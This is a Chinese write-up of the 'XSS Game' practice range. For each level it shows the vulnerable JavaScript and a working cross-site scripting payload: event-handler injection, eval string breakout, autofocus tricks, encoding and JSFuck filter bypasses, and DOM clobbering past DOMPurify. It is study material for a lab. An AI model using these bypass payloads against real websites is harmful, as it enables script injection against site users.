XSS GAME靶场
要求用户不参与,触发alert(1337)
目录
Ma Spaghet!
Jefff
Ugandan Knuckles
Ricardo Milos
Ah That's Hawt
Ligma
Mafia
Ok, Boomer
Exmaple 1 - Create
Example 2 - Overwrite
Example 3 - Overwrite2
toString
Ma Spaghet!
<h2 id="spaghet"></h2>
<script>spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
给somebody传参,如果不传就默认使用Somebody
innerHTML只限制了script标签,除了它其他的触发payload都可以使用
如somebody=<img%20src=1%20οnerrοr=alert(1337)>
Jefff
<h2 id="maname"></h2>
<script>let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")let ma = ""eval(`ma = "Ma name ${jeff}"`) //eval 会直接执行字符串中的JS代码setTimeout(_ => {maname.innerText = ma}, 1000)
</script>
因为 eval 会直接执行字符串中的 JS 代码,所以可以直接插入alert(1),但是要把双引号闭合并注释。
即jeff=aa";alert(1)//---------使用//注释后面的双引号
Ugandan Knuckles
<div id="uganda"></div>
<script>let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");wey = wey.replace(/[<>]/g, '')uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
这段代码把尖括号过滤了,和上一关一样,可以使用wey=aa" 20οnclick="alert(1337),但是这样需要用户点击输入框才能触发,不符合题目要求
这里可以想到input的一个属性:可任意自动聚焦onfocus,此时还是需要用户参与,所以可以结合autofocus=true使用不需要用户参与:wey=aa" autofocus οnfοcus="alert(1337)
Ricardo Milos
<form id="ricardo" method="GET"><input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')setTimeout(_ => {ricardo.submit()}, 2000)
</script>
form表单有一个enctyoe属性,默认值是application/x-www-form-urlencoded,在文本类数据的普通表单提交时使用;当文件上传时使用multipart/form-data;调试或特殊需求(极少使用,部分旧浏览器可能不支持)使用text/plain
form表单的action属性定义表单数据提交的目标地址,如果它的值为“#”,就提交在当前页面
2s后会自动提交
Ah That's Hawt
<h2 id="will"></h2>
<script>smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")smith = smith.replace(/[\(\`\)\\]/g, '')will.innerHTML = smith
</script>
这段代码过滤了()、``、/
可以利用编码(),逃出过滤。如果只用urlencode编码(),在进入程序之前就会被解码为(),然后被过滤。
可以将alert(1)先使用HTML实体编码再使用urlencode编码
Ligma
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
这段代码把字母和数字都过滤了,但是还有符号没过滤,可以使用 JSFuck 编码,它编码之后都是符号。但是JSFuck中的[
和 ]
在 URL 中是特殊字符,可能被截断或转义,?、
&、
=` 等符号可能干扰参数解析。所以再进行一次urlencode编码。
将alert(1) JSFuck编码后:
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])()
再将JSFuck编码后的内容进行urlencode编码:
%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%2B%5B%5D%5D%2B%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%29%28%29
Mafia
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
可以发现没有过滤alert的大写和小括号。但是eval不识别ALERT。
第一种方法:使用函数转为小写。
Function(/ALERT(1337)/.source.toLowerCase())() /ALERT(1337)/ - 这是一个正则表达式字面量 .source - 获取正则表达式的源字符串(即 "ALERT(1337)") .toLowerCase() - 将字符串转为小写("alert(1337)") Function() - 相当于 new Function(),用于动态创建函数 最后的 () - 立即调用这个新创建的函数
第二种方法:
第三种方法:
eval(location.hash.substr(1))#alert(1337) location接口的hash属性是一个字符串,包含一个“#”后跟位置URL的片段标识符。如果URL没有片段标识符,则该属性的值为空字符串"" substr值的substr()方法返回该字符串的一部分,从指定的索引开始截取 substr(1)如果不写,就会把#截进去
Ok, Boomer
<h2 id="boomer">Ok, Boomer.</h2>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")setTimeout(ok, 2000)
DOMPurity是XSS的过滤框架
发现"ok is not defined"
那么ok是哪里来的,因为有DOMPurity框架,所以不可能从innerHTML入手,只能从ok入手,所以ok一点是恶意代码,并且需要有恶意payload触发。
JS有两个定时器,其中一个是setTimeout,在指定延迟的时间内执行一次,setTimeout(ok, 2000)是两秒后执行ok。另一个是setInterval,是循环执行,setInterval(ok,2000)是每两秒执行一次,断开需要setInterval的断开函数。
Dom Clobbering (DOM破坏)就是⼀种将 HTML 代码注⼊⻚⾯中以操纵 DOM 并最终更改⻚⾯上 JavaScript ⾏为的技术。 在⽆法直接 XSS的情况下,我们就可以往 DOM Clobbering 这⽅向考虑了。
接下来找可用的标签来写payload
Exmaple 1 - Create
document.x没有打印出来,document不能根据id把内容打印出来。
即可以看到通过 id 或者 name 属性,可以在document 或者window 对象下创建⼀个对象。
Example 2 - Overwrite
Example 3 - Overwrite2
<body><form name='body'><img id="appendChild"></form>
</body>
<script>var div = document.createElement('div');document.body.appendChild(div);console.log(document.body.appendChild)
</script>
报错说document.body.appendChild is not a function,但是它的确是系统自带的函数,说明我们在form中的内容把原来的替代了。
但是这样取出来的类型是HTMLTmageElement,不方便我们操作,我们就思考有没有一个元素取出来的类型是字符串。
toString
所以我们可以通过以下代码来进⾏fuzz 得到可以通过toString ⽅法将其转换成字符串类型的标签:
两个元素:area和anchor(a),area是空元素,利用不了
所以可以想到这样:
<a id="ok" href="javascript:alert(1337)">
但是并不行,所以就去查看了官方的内置白名单,javascript并不在其中,白名单有
/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp|matrix):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i
所以可以使用tel:
<a id="ok" href="tel:alert(1337)">